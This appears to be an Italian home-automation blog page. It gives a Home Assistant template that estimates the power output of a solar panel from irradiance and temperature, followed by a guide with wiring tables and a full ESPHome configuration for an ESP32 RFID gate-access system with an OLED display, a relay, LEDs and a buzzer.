La formula di correzione finale è questa: Potenza Corretta=Potenza Iniziale×(1+γp⋅ΔT)Potenza Corretta=Potenza Iniziale×(1+γp​⋅ΔT)

Spiegazione Semplice: Se il pannello si scalda molto (ΔTΔT alto), e γpγp​ è un numero negativo, la parentesi (1+...)(1+…) diventa minore di 1, riducendo artificialmente la potenza calcolata. Questo assicura che la nostra previsione sia realistica.

✅ Conclusione: Un Modello Potente ma Semplificato

Il template è estremamente potente perché automatizza un processo che, se lo facessi a mano, richiederebbe ore di calcoli trigonometrici e termici!

Cosa abbiamo imparato? Abbiamo visto che il valore finale in Watt non dipende solo da “quanto c’è sole”, ma da: come cade la luce sul mio pannello (GPOAGPOA​), e quanto è caldo quel pannello (Correzione Termica).

È un esempio brillante di come i dati, quando vengono incartati con una buona dose di logica scolastica e fisica, possano trasformarsi in strumenti di previsione super diretti per la nostra vita quotidiana.


Codice calcolo potenza presunta pannelli

template:
  - sensor:
      - name: "FV Potenza Teorica Reale"
        unique_id: fv_potenza_teorica_reale
        unit_of_measurement: "W"
        device_class: power
        state_class: measurement
        state: >
          {% set G_raw = states('sensor.gw1100a_solar_radiation') %}
          {% set T_raw = states('sensor.gw1100a_outdoor_temperature') %}
          {% if G_raw in ['unknown','unavailable','none'] or T_raw in ['unknown','unavailable','none'] %}
            unavailable
          {% else %}
            {% set modules_count = 4 %}
            {% set P_stc_module = 585.0 %}
            {% set area_module = 2.582 %}
            {% set eta = 0.2266 %}
            {% set noct = 45 %}
            {% set gamma_p = -0.003 %}
            {% set tilt_deg = 30 %}
            {% set albedo = 0.20 %}
            {% set sensor_height_factor = 0.98 %}
            {% set G = (G_raw | float(0)) * sensor_height_factor %}
            {% set T_amb = (T_raw | float(20)) %}
            {% set _ = states('sensor.time') %}
            {% set area_total = area_module * modules_count %}
            {% set clearness = G / 1000.0 %}
            {% set df_raw = 0.45 + (1 - clearness) * 0.35 %}
            {% set diffuse_frac = [df_raw, 0.9] | min %}
            {% set diffuse_frac = [diffuse_frac, 0.1] | max %}
            {% set direct_frac = 1.0 - diffuse_frac %}
            {% set tilt_rad = (tilt_deg * pi / 180.0) %}
            {% set direct_factor = [ (cos(tilt_rad)), 0.0 ] | max %}
            {% set diffuse_factor = (1.0 + cos(tilt_rad)) / 2.0 %}
            {% set ground_reflect_factor = (1.0 - cos(tilt_rad)) / 2.0 %}
            {% set G_poa = G * ( direct_frac * direct_factor + diffuse_frac * diffuse_factor + albedo * ground_reflect_factor ) %}
            {% set P_stc_total = P_stc_module * modules_count %}
            {% set P_from_irradiance = (G_poa / 1000.0) * P_stc_total %}
            {% set T_cell = T_amb + (G_poa / 800.0) * (noct - 20.0) %}
            {% set deltaT = T_cell - 25.0 %}
            {% set P_temp_corr = P_from_irradiance * (1.0 + gamma_p * deltaT) %}
            {{ [ (P_temp_corr) | round(0), 0 ] | max }}
          {% endif %}

✨ Sistema RFID con ESP32, RC522, OLED, Relè, LED e Buzzer

Una guida completa per realizzare un accesso elettronico affidabile, elegante e totalmente integrato con ESPHome.

—

🔧 Componenti necessari

  • ESP32 DevKit
  • Lettore RFID RC522 (SPI)
  • Display OLED SSD1306 128×64 (I2C)
  • Modulo relè 5V
  • LED verde + LED rosso (con resistenze 220–330 Ω)
  • Buzzer attivo a 3 pin
  • Alimentazione 5V
  • Cavi dupont

—

🧩 Collegamenti elettrici

Tabella completa dei collegamenti ESP32 → Componenti

RC522 (SPI)

Funzione RC522Pin RC522Pin ESP32
AlimentazioneVCC3.3V
MassaGNDGND
ResetRSTGPIO22
SS / SDASDAGPIO5
SCKSCKGPIO18
MOSIMOSIGPIO23
MISOMISOGPIO19


Display OLED SSD1306 (I2C)

Funzione OLEDPin OLEDPin ESP32
AlimentazioneVCC3.3V
MassaGNDGND
SDASDAGPIO21
SCLSCLGPIO17


LED di stato

LEDAnodo → ESP32Catodo →
VerdeGPIO14 (via resistenza)GND
RossoGPIO27 (via resistenza)GND


Relè cancello

FunzionePin modulo relèPin ESP32
SegnaleINGPIO32
AlimentazioneVCC5V
MassaGNDGND


Buzzer attivo 3 pin

FunzionePin buzzerPin ESP32
AlimentazioneVCC5V
MassaGNDGND
SegnaleI/OGPIO26

💡 Funzionamento del sistema

  • Quando un tag RFID viene avvicinato, l’ESP32 legge l’UID tramite il modulo RC522.
  • Se il tag è autorizzato:
    • Il relè invia un impulso per aprire il cancello
    • Il LED verde si accende per 7 secondi
    • Il display mostra “ACCESSO CONSENTITO”
    • Il buzzer emette due beep
  • Se il tag non è autorizzato:
    • Il LED rosso si accende per 7 secondi
    • Il display mostra “ACCESSO NEGATO”
    • Il buzzer emette tre beep rapidi

—

🧠 Codice ESPHome completo e funzionante

esphome:
  name: esphome-web-568b34
  friendly_name: Esp32 RFID
  min_version: 2025.11.0
  name_add_mac_suffix: false
  on_boot:
    priority: -100
    then:
      - switch.turn_on: rele

esp32:
  variant: esp32
  framework:
    type: esp-idf
    advanced:
      minimum_chip_revision: "3.1"
      sram1_as_iram: true    

logger:
  level: INFO

api:

ota:
  platform: esphome

wifi:
  ssid: Xxxx
  password: xxxx

# ---------------- SPI + RC522 ----------------
spi:
  clk_pin: 18
  mosi_pin: 23
  miso_pin: 19

rc522_spi:
  cs_pin: 5
  reset_pin: 22
  update_interval: 500ms #valore iniziale 1 sc
  on_tag:
    then:
      - lambda: |-
          std::string uid = x;

          uint32_t now = millis();
          if (now - id(ultimo_lettura) < 2000) {
            return;
          }
          id(ultimo_lettura) = now;

          ESP_LOGI("rfid", "Tag rilevato: %s", uid.c_str());

          id(ultimo_tag).publish_state(uid);

          for (auto &t : id(tag_autorizzati)) {
            if (t == uid) {
              ESP_LOGI("rfid", "Accesso consentito");

              id(accesso_consentito).publish_state(true);
              id(accesso_negato).publish_state(false);

              id(led_ok).execute();
              id(display_ok).execute();

              return;
            }
          }

          ESP_LOGW("rfid", "Accesso negato");

          id(accesso_consentito).publish_state(false);
          id(accesso_negato).publish_state(true);

          id(led_ko).execute();
          id(display_ko).execute();

# ---------------- Lista badge autorizzati ----------------
globals:
  - id: tag_autorizzati
    type: std::vector<std::string>
    initial_value: '{"67-89-90-C9","04-52-DD-01-7A-3B-03","67-FA-0A-D9"}'

  - id: ultimo_lettura
    type: uint32_t
    initial_value: '0'

# ---------------- OUTPUT (LED) ----------------
output:
  - platform: gpio
    pin: 14
    id: led_verde_pin

  - platform: gpio
    pin: 27
    id: led_rosso_pin
  
# ---------------- Script vari ----------------
script:
  - id: led_ok
    then:
      - switch.turn_on: buzzer
      - delay: 120ms
      - switch.turn_off: buzzer
      - delay: 120ms
      - switch.turn_on: buzzer
      - delay: 120ms
      - switch.turn_off: buzzer

      - switch.turn_off: rele
      - delay: 2s
      - switch.turn_on: rele

      - light.turn_on: led_verde
      - delay: 7s
      - light.turn_off: led_verde
      - lambda: |-
          id(accesso_consentito).publish_state(false);

  - id: led_ko
    then:
      - switch.turn_on: buzzer
      - delay: 80ms
      - switch.turn_off: buzzer
      - delay: 80ms
      - switch.turn_on: buzzer
      - delay: 80ms
      - switch.turn_off: buzzer
      - delay: 80ms
      - switch.turn_on: buzzer
      - delay: 80ms
      - switch.turn_off: buzzer

      - light.turn_on: led_rosso
      - delay: 7s
      - light.turn_off: led_rosso
      - lambda: |-
          id(accesso_negato).publish_state(false);

  - id: display_ok
    then:
      - display.page.show: page_ok
      - delay: 8s
      - display.page.show: page_idle

  - id: display_ko
    then:
      - display.page.show: page_ko
      - delay: 8s
      - display.page.show: page_idle
  
# ---------------- LED verde e rosso ----------------
light:
  - platform: binary
    id: led_verde
    name: "LED Verde RFID"
    output: led_verde_pin

  - platform: binary
    id: led_rosso
    name: "LED Rosso RFID"
    output: led_rosso_pin

# ---------------- RELÈ ----------------
switch:
  - platform: gpio
    id: rele
    name: "Relè Cancello"
    pin:
      number: 32
      inverted: true
    restore_mode: ALWAYS_ON

  - platform: gpio
    id: buzzer
    name: "Buzzer RFID"
    pin:
      number: 26
    restore_mode: ALWAYS_OFF

# ---------------- SENSORI RFID ----------------
text_sensor:
  - platform: template
    id: ultimo_tag
    name: "Ultimo TAG RFID"
  - platform: wifi_info
    ip_address:
      name: "ESP32 IP Address"
    ssid:
      name: "ESP32 WiFi SSID"
  - platform: version
    name: "Firmware ESPHome"           

button:
  - platform: restart
    id: riavvia_esp
    name: "Riavvia Rfid ESP32"  

  - platform: template
    id: apri_cancello
    name: "Apri Cancello"
    on_press:
      - switch.turn_off: rele
      - delay: 2s
      - switch.turn_on: rele 

      - switch.turn_on: buzzer
      - delay: 120ms
      - switch.turn_off: buzzer
      - delay: 120ms
      - switch.turn_on: buzzer
      - delay: 120ms
      - switch.turn_off: buzzer
      - delay: 120ms
      - switch.turn_on: buzzer
      - delay: 120ms
      - switch.turn_off: buzzer

      - light.turn_on: led_verde
      - delay: 7s
      - light.turn_off: led_verde 
          
binary_sensor:
  - platform: template
    id: accesso_consentito
    name: "Accesso RFID Consentito"

  - platform: template
    id: accesso_negato
    name: "Accesso RFID Negato"

# ---------------- OLED SSD1306 ----------------
i2c:
  sda: 21
  scl: 17
  scan: false
  frequency: 100kHz

font:
  - file: "gfonts://Roboto"
    id: font1
    size: 20

display:
  - platform: ssd1306_i2c
    model: "SSD1306 128x64"
    address: 0x3C
    id: oled
    update_interval: 500ms
    pages:
      - id: page_idle
        lambda: |-
          it.printf(0, 0, id(font1), "RFID");
          it.printf(0, 28, id(font1), "READY");

      - id: page_ok
        lambda: |-
          it.printf(0, 0, id(font1), "ACCESSO");
          it.printf(0, 28, id(font1), "CONSENTITO");

      - id: page_ko
        lambda: |-
          it.printf(0, 0, id(font1), "ACCESSO");
          it.printf(0, 28, id(font1), "NEGATO");

sensor:
  - platform: uptime
    name: Uptime Sensor
    filters:
      - lambda: return x / 3600;
    unit_of_measurement: "h"
    accuracy_decimals: 2